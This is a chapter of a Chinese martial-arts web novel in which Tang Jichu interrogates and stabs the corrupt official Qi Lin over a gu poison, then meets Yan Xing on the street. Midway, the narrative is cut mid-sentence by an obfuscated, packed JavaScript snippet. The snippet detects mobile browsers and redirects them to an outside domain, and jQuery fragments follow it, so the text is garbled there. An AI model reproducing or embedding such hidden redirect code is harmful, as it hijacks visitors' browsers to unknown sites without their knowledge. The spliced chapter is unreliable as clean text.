齐府中的楼阁屋宇别有一番气象,唐济楚来时环顾打量过,从碧瓦飞甍到绣柱雕梁,檐下囚着的尾羽艳丽无双的翠鸟,园里养着的羯川白鹤,小湖中游弋的长尾锦鲤,这里样样都像是用金山银山堆就出来的。城主府和这一比,简直没法儿看。
再看齐霖,号称“千金一匹”的蛇纹锦,被他随意当作闲居的便袍,浑不在意它脏了或叫尖角勾了丝坏了。
他骂她是三流货色,看不起她这个小姑娘,可偏偏又是她这个小姑娘冒着极大的危险,替他洗清了冤屈。
她背着手,朝他慢悠悠地走去:“齐司正,我还以为你在千嶂城早已手眼通天了呢,如今一看,真正效忠您的,好像也没几个人嘛。”
齐霖“哼”了一声,“天下熙熙,皆为利来;天下攘攘,皆为利往。就是这么回事,如今我败了,难道你以为伏陈就赢了?唐姑娘,你就算是根墙头草,也不该倒向他那边。我劝你早早睁开眼看看,能轻而易举扳倒我的人,对付伏陈,就像对付一只新生的蚂蚁,吹口气他就死了。”
唐济楚在口舌上一向不甘落人下风,闻言便道:“那要看对方的口气有没有齐司正的大了。”
她的指腹在背后一下一下敲着刀鞘,见齐霖脸色微变,她也懒得与他再费口舌争辩,于是直白问道:“我不是来和你逞口舌之快的,少城主先前热毒发作,我想,总不会是齐大司正的手笔吧?”
齐霖的表情没有惊讶,没有疑惑,而是满满的讥讽。
“我一口咬死说不是我做的,你们又能如何?”
他连演都不想演了,这样直白地挑衅,在唐济楚看来更像是气急败坏。
她也不急,又近前两步,微微俯下身靠近他道:“齐司正,您年纪比我大得多,总该明白,人为刀俎我为鱼肉的道理。”她伸出一只手,暗自用了些力道,重重拍在他肩上,“这段时日,齐司正还没收到夫人与令爱的消息吧?你以为把她们安置在云心城,就万事太平了吗?”
齐霖此人贪财恋权不假,却也的确是重情的性子,听到她提到家人,也有片刻失去理智,竟也顾不得分辨真假原委,一心只以为她抓住了他的小辫子,拿住了他的家人来威胁他。
他绷着张脸,面色也阴沉下来.
“他身上的确埋了蛊,但我齐霖以自己身家性命起誓,此事非我所为。”他这一番话说得掷地有声,唐济楚盯着他,脸上的神色却不像相信了的样子。
她问:“既非你所为,你怎么知道他身上的是蛊,不是毒?”
“因为他这蛊,已经被人种下十六年有余了。”
十六年前?那时候他才四岁,一个四岁的孩子被人下蛊?
见唐济楚满是怀疑的神情,齐霖叹了口气道:“十六年前,我还在老城主手下做事。那时我尚且年轻,接手的第一件差事,就是替老城主去南州寻一位蛊师,为的就是拔除少城主身上的幼蛊。没想到那人不在南州,而在云心城。阴差阳错间,少城主身上的蛊便已落在身体里,再难拔除。”
唐济楚只觉得他这话说得半真半假,她不敢全信。“你的意思是,这只蛊在他身体里藏了十六年?”
齐霖点了点头,说:“有些蛊虫寿命长,往往能与宿主同生共死。只可惜,当年我寻到蛊师时,少城主已被人接走了。也错过了将幼蛊拔除的机会。”
“那他身上发作的蛊毒是怎么回事?”她问。
齐霖慢慢转着拇指上的扳指,笑吟吟地看着她,恶意顺着那微眯的眼睛,咧开的嘴角漫淌着,“是我寻到了引动他体内蛊毒的办法。其实我没想弄死他,只不过想小小敲打他一番。没想到咱们少城主真能隐忍,痛成那样也不肯在人前示弱。”
他的眼睛像一滩脓烂的污水,黑洞洞的。
“什么办法?”她忍着怒意问。
齐霖挑着眉头,仍是那副天王老子来了都无法奈何他的神情,“唐姑娘还是不懂江湖上的规矩啊,你得先将我妻子儿女的消息交到我手上,我才好告诉你。”
唐济楚再也忍不下去,猛地一步走上前,扯住了那名贵衣料裁成的袍领,一把将齐霖揪了起来,半搡半拽地将他推到屋内。齐霖被她的蛮力甩到墙边,重重地撞在墙上。
他本就轻视她,从未想过这小姑娘竟也有一身的莽撞强力,被摔在墙边时人有点发懵。
唐济楚瞪视着他,一口气从丹田处直冲而上,几乎是内力在推着她发出声音:“那年老城主器重你,连关系人命危亡的大事都托付给你,你却辜负旧主心意,叛主自立!此为其一。”
齐霖背后剧痛,挣扎着要站起来,望着她逆光行近,腿上忽然没了力气。
“你趁老城主病重,幼主势弱,欺上瞒下,结党营私。此为其二。”
她渐渐蹲下身子,看着他震惊的神色,忽然从心底升起一阵快意。
“你勾结外地客商,抬高过关费,中饱私囊,奢靡无度,此为其三。”
唐济楚微微仰着头,居高临下地垂目看着他。手上的匕首已然出鞘,她的拇指在明如水镜般的刀面上慢慢摩挲着。
“而你最该死的,是欺负他无依无靠,将老城主对你的信任,变成刺向他的一把刀!”
她高声喝道,连她自己也不清楚这贯穿肺腑胸膛的声音自何而出。她的心也跳得极快,眼眶,喉咙再到整个胸膛热得如同浇了烈酒的一团火。
齐霖被她的气势骇住了,恨不能缩在墙里,唐济楚来抓他手腕时,他连反抗的力气都没了,在她手中筛糠般地颤抖。
他几乎没听到刀的声音或是皮肉被破开的动静,只不过一瞬间,那雪亮的刀尖已经刺入了他的掌心。尖锐的疼痛也随之从那伤处一点点蔓延开来。
齐霖痛得直拨她的手掌,可没有任何效用。那刀尖在他手掌血肉间转了一圈,掀起让人无法承受的剧痛。他想握紧掌心,却被裂痛支配着被迫张开。
待确认他的掌心也如师兄的掌心一般,被刀尖划得溃烂难辨原样,她这才收了刀,站了起来。
唐济楚看着痛得伏在地上低吟的齐霖,恨意消退后,她的眼眸里只剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281141|181280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷然与漫不经心的闲淡。她只随意拿起了块布,擦了刀刃上的血迹,语气悠然道:“你若要寻仇,自可前去城主府找我。我唐济楚随时奉陪。”
她转身欲走,又不死心地回头看了他一眼,“我再问你一次,引动蛊毒的到底是什么?”
齐霖痛得发不出声音,只是呲着牙,伏在地上,如野兽般自下而上瞪着她。
她心里明白,他不会再说了。便旋身疾走,一路上齐府的下人竟被她的气势骇得无一人敢阻拦。
唐济楚负气出了齐府的门,还没走出十步,身后路边的轿子里又传来熟悉的声音。
此人声音满是调侃的意味:“唐姑娘,每次相逢都是令人这么的……刮目相看啊。”
她本就满腔怒意,此刻听到不喜欢的人发出不喜欢的声音,是一句也不想搭理,闷头便继续向前疾行。
没成想那人竟从车上跳下来,在其后高声道:“唐姑娘留步。”
唐济楚不听,继续走。
言幸“啧”了一声,也顾不上颜面了,拔腿便朝她追来。两人你追我赶走了半天,路边的人开始纷纷朝两人看来,不晓得的还以为烈女怕缠郎呢,看起了热闹。
她终于慢下来,然后停下脚步,猛然回头没好气地看他。
“你追什么?”
“因为你跑。”他说。
她不说话了,抱起手臂静静看他。言幸算是触了她的霉头了,只好顺着她道:“是言某冒犯了,不过唐姑娘可愿赏光与言某逛逛夜市?你看天也……”
唐济楚二话不说,转身又要走。
“唐姑娘!”他高声叫住她,“此乃多事之秋,唐姑娘难道不想听听这些事当中的秘辛隐情么?”
她正在气头上,闻言却是冷笑,扭头对他说道:“听了之后呢?又变成你的刀,让你利用我替你做事?”
言幸的脸皮也是够厚的,听了这话也没怎么恼怒,只是呵呵一笑道:“唐姑娘对我的误会太深了。那么我,只答唐姑娘想听的问题,如何?”
她想了想,又看着言幸那认真的神情,心内不由地犹豫起来。出于谨慎小心的考虑,她本不应该再听此人的蛊惑,但偏偏她又有满腹的问题想问。
唐济楚咬了咬牙,道了一个好字。
言幸咧嘴笑了笑,向后招招手,那轿子便从不远处驶了过来。她不愿与他同乘,便直言:“乘轿就不必了,我与言公子闲叙几句就得回家了,家里还有人等我吃饭。”
他的热情被人浇了通冷水,面上有些僵,却也还是维持着唇边的笑容,边挥退了身后跟来的一众护卫仆人。
然后他转过眼,笑着对她说:“那便让他们全都在一旁候着吧。”说罢,又看了看她的身后,“我的人已经退下了,你的人,也总该避一避吧?”
唐济楚没明白他的意思,轻轻皱着眉问:“我的人?”
言幸先是怔愣,而后不自然地扯了扯一边的唇角,最后笑了出来。
“唐姑娘,你身后一直跟着暗卫呢,你竟然都不知道?”